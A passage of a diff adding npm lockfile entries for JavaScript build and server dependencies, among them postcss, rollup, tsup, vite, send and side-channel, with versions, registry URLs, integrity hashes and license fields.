+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "nanoid": "^3.3.12",
+ "picocolors": "^1.1.1",
+ "source-map-js": "^1.2.1"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/postcss-load-config": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",
+ "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "lilconfig": "^3.1.1"
+ },
+ "engines": {
+ "node": ">= 18"
+ },
+ "peerDependencies": {
+ "jiti": ">=1.21.0",
+ "postcss": ">=8.0.9",
+ "tsx": "^4.8.1",
+ "yaml": "^2.4.2"
+ },
+ "peerDependenciesMeta": {
+ "jiti": {
+ "optional": true
+ },
+ "postcss": {
+ "optional": true
+ },
+ "tsx": {
+ "optional": true
+ },
+ "yaml": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/proxy-addr": {
+ "version": "2.0.7",
+ "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+ "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+ "license": "MIT",
+ "dependencies": {
+ "forwarded": "0.2.0",
+ "ipaddr.js": "1.9.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/qs": {
+ "version": "6.15.3",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.3.tgz",
+ "integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==",
+ "license": "BSD-3-Clause",
+ "dependencies": {
+ "es-define-property": "^1.0.1",
+ "side-channel": "^1.1.1"
+ },
+ "engines": {
+ "node": ">=0.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/range-parser": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz",
+ "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/raw-body": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz",
+ "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==",
+ "license": "MIT",
+ "dependencies": {
+ "bytes": "~3.1.2",
+ "http-errors": "~2.0.1",
+ "iconv-lite": "~0.7.0",
+ "unpipe": "~1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/readdirp": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz",
+ "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 14.18.0"
+ },
+ "funding": {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/require-from-string": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+ "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/rollup": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.2.tgz",
+ "integrity": "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "1.0.9"
+ },
+ "bin": {
+ "rollup": "dist/bin/rollup"
+ },
+ "engines": {
+ "node": ">=18.0.0",
+ "npm": ">=8.0.0"
+ },
+ "optionalDependencies": {
+ "@rollup/rollup-android-arm-eabi": "4.62.2",
+ "@rollup/rollup-android-arm64": "4.62.2",
+ "@rollup/rollup-darwin-arm64": "4.62.2",
+ "@rollup/rollup-darwin-x64": "4.62.2",
+ "@rollup/rollup-freebsd-arm64": "4.62.2",
+ "@rollup/rollup-freebsd-x64": "4.62.2",
+ "@rollup/rollup-linux-arm-gnueabihf": "4.62.2",
+ "@rollup/rollup-linux-arm-musleabihf": "4.62.2",
+ "@rollup/rollup-linux-arm64-gnu": "4.62.2",
+ "@rollup/rollup-linux-arm64-musl": "4.62.2",
+ "@rollup/rollup-linux-loong64-gnu": "4.62.2",
+ "@rollup/rollup-linux-loong64-musl": "4.62.2",
+ "@rollup/rollup-linux-ppc64-gnu": "4.62.2",
+ "@rollup/rollup-linux-ppc64-musl": "4.62.2",
+ "@rollup/rollup-linux-riscv64-gnu": "4.62.2",
+ "@rollup/rollup-linux-riscv64-musl": "4.62.2",
+ "@rollup/rollup-linux-s390x-gnu": "4.62.2",
+ "@rollup/rollup-linux-x64-gnu": "4.62.2",
+ "@rollup/rollup-linux-x64-musl": "4.62.2",
+ "@rollup/rollup-openbsd-x64": "4.62.2",
+ "@rollup/rollup-openharmony-arm64": "4.62.2",
+ "@rollup/rollup-win32-arm64-msvc": "4.62.2",
+ "@rollup/rollup-win32-ia32-msvc": "4.62.2",
+ "@rollup/rollup-win32-x64-gnu": "4.62.2",
+ "@rollup/rollup-win32-x64-msvc": "4.62.2",
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/router": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz",
+ "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "^4.4.0",
+ "depd": "^2.0.0",
+ "is-promise": "^4.0.0",
+ "parseurl": "^1.3.3",
+ "path-to-regexp": "^8.0.0"
+ },
+ "engines": {
+ "node": ">= 18"
+ }
+ },
+ "node_modules/safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+ "license": "MIT"
+ },
+ "node_modules/send": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
+ "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "^4.4.3",
+ "encodeurl": "^2.0.0",
+ "escape-html": "^1.0.3",
+ "etag": "^1.8.1",
+ "fresh": "^2.0.0",
+ "http-errors": "^2.0.1",
+ "mime-types": "^3.0.2",
+ "ms": "^2.1.3",
+ "on-finished": "^2.4.1",
+ "range-parser": "^1.2.1",
+ "statuses": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/serve-static": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
+ "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==",
+ "license": "MIT",
+ "dependencies": {
+ "encodeurl": "^2.0.0",
+ "escape-html": "^1.0.3",
+ "parseurl": "^1.3.3",
+ "send": "^1.2.0"
+ },
+ "engines": {
+ "node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/setprototypeof": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+ "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
+ "license": "ISC"
+ },
+ "node_modules/shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "license": "MIT",
+ "dependencies": {
+ "shebang-regex": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/side-channel": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
+ "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.4",
+ "side-channel-list": "^1.0.1",
+ "side-channel-map": "^1.0.1",
+ "side-channel-weakmap": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-list": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
+ "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-map": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+ "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-weakmap": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+ "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3",
+ "side-channel-map": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/siginfo": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
+ "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/signal-exit": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+ "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+ "license": "ISC",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/source-map": {
+ "version": "0.7.6",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.6.tgz",
+ "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==",
+ "dev": true,
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">= 12"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+ "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+ "dev": true,
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/stackback": {
+ "version": "0.0.2",
+ "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz",
+ "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/statuses": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
+ "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/std-env": {
+ "version": "3.10.0",
+ "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz",
+ "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "license": "MIT",
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sucrase": {
+ "version": "3.35.1",
+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
+ "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "commander": "^4.0.0",
+ "lines-and-columns": "^1.1.6",
+ "mz": "^2.7.0",
+ "pirates": "^4.0.1",
+ "tinyglobby": "^0.2.11",
+ "ts-interface-checker": "^0.1.9"
+ },
+ "bin": {
+ "sucrase": "bin/sucrase",
+ "sucrase-node": "bin/sucrase-node"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ }
+ },
+ "node_modules/sucrase/node_modules/commander": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/thenify": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "any-promise": "^1.0.0"
+ }
+ },
+ "node_modules/thenify-all": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "thenify": ">= 3.1.0 < 4"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/tinybench": {
+ "version": "2.9.0",
+ "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz",
+ "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/tinyexec": {
+ "version": "0.3.2",
+ "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz",
+ "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/tinyglobby": {
+ "version": "0.2.17",
+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+ "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fdir": "^6.5.0",
+ "picomatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/SuperchupuDev"
+ }
+ },
+ "node_modules/tinypool": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-1.1.1.tgz",
+ "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "^18.0.0 || >=20.0.0"
+ }
+ },
+ "node_modules/tinyrainbow": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-1.2.0.tgz",
+ "integrity": "sha512-weEDEq7Z5eTHPDh4xjX789+fHfF+P8boiFB+0vbWzpbnbsEr/GRaohi/uMKxg8RZMXnl1ItAi/IUHWMsjDV7kQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=14.0.0"
+ }
+ },
+ "node_modules/tinyspy": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-3.0.2.tgz",
+ "integrity": "sha512-n1cw8k1k0x4pgA2+9XrOkFydTerNcJ1zWCO5Nn9scWHTD+5tp8dghT2x1uduQePZTZgd3Tupf+x9BxJjeJi77Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=14.0.0"
+ }
+ },
+ "node_modules/toidentifier": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+ "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.6"
+ }
+ },
+ "node_modules/tree-kill": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
+ "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "tree-kill": "cli.js"
+ }
+ },
+ "node_modules/ts-interface-checker": {
+ "version": "0.1.13",
+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
+ "dev": true,
+ "license": "Apache-2.0"
+ },
+ "node_modules/tsup": {
+ "version": "8.5.1",
+ "resolved": "https://registry.npmjs.org/tsup/-/tsup-8.5.1.tgz",
+ "integrity": "sha512-xtgkqwdhpKWr3tKPmCkvYmS9xnQK3m3XgxZHwSUjvfTjp7YfXe5tT3GgWi0F2N+ZSMsOeWeZFh7ZZFg5iPhing==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "bundle-require": "^5.1.0",
+ "cac": "^6.7.14",
+ "chokidar": "^4.0.3",
+ "consola": "^3.4.0",
+ "debug": "^4.4.0",
+ "esbuild": "^0.27.0",
+ "fix-dts-default-cjs-exports": "^1.0.0",
+ "joycon": "^3.1.1",
+ "picocolors": "^1.1.1",
+ "postcss-load-config": "^6.0.1",
+ "resolve-from": "^5.0.0",
+ "rollup": "^4.34.8",
+ "source-map": "^0.7.6",
+ "sucrase": "^3.35.0",
+ "tinyexec": "^0.3.2",
+ "tinyglobby": "^0.2.11",
+ "tree-kill": "^1.2.2"
+ },
+ "bin": {
+ "tsup": "dist/cli-default.js",
+ "tsup-node": "dist/cli-node.js"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@microsoft/api-extractor": "^7.36.0",
+ "@swc/core": "^1",
+ "postcss": "^8.4.12",
+ "typescript": ">=4.5.0"
+ },
+ "peerDependenciesMeta": {
+ "@microsoft/api-extractor": {
+ "optional": true
+ },
+ "@swc/core": {
+ "optional": true
+ },
+ "postcss": {
+ "optional": true
+ },
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/type-is": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",
+ "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==",
+ "license": "MIT",
+ "dependencies": {
+ "content-type": "^2.0.0",
+ "media-typer": "^1.1.0",
+ "mime-types": "^3.0.0"
+ },
+ "engines": {
+ "node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/type-is/node_modules/content-type": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
+ "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/typescript": {
+ "version": "5.9.3",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
+ "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=14.17"
+ }
+ },
+ "node_modules/ufo": {
+ "version": "1.6.4",
+ "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.6.4.tgz",
+ "integrity": "sha512-JFNbkD1Svwe0KvGi8GOeLcP4kAWQ609twvCdcHxq1oSL8svv39ZuSvajcD8B+5D0eL4+s1Is2D/O6KN3qcTeRA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/undici-types": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
+ "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
+ "devOptional": true,
+ "license": "MIT"
+ },
+ "node_modules/unpipe": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+ "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/vary": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+ "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/vite": {
+ "version": "5.4.21",
+ "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz",
+ "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "esbuild": "^0.21.3",
+ "postcss": "^8.4.43",
+ "rollup": "^4.20.0"
+ },
+ "bin": {
+ "vite": "bin/vite.js"
+ },
+ "engines": {
+ "node": "^18.0.0 || >=20.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/vitejs/vite?sponsor=1"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.3"
+ },
+ "peerDependencies": {
+ "@types/node": "^18.0.0 || >=20.0.0",
+ "less": "*",
+ "lightningcss": "^1.21.0",
+ "sass": "*",
+ "sass-embedded": "*",
+ "stylus": "*",
+ "sugarss": "*",
+ "terser": "^5.4.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ },
+ "less": {
+ "optional": true
+ },
+ "lightningcss": {
+ "optional": true
+ },
+ "sass": {
+ "optional": true
+ },
+ "sass-embedded": {
+ "optional": true
+ },
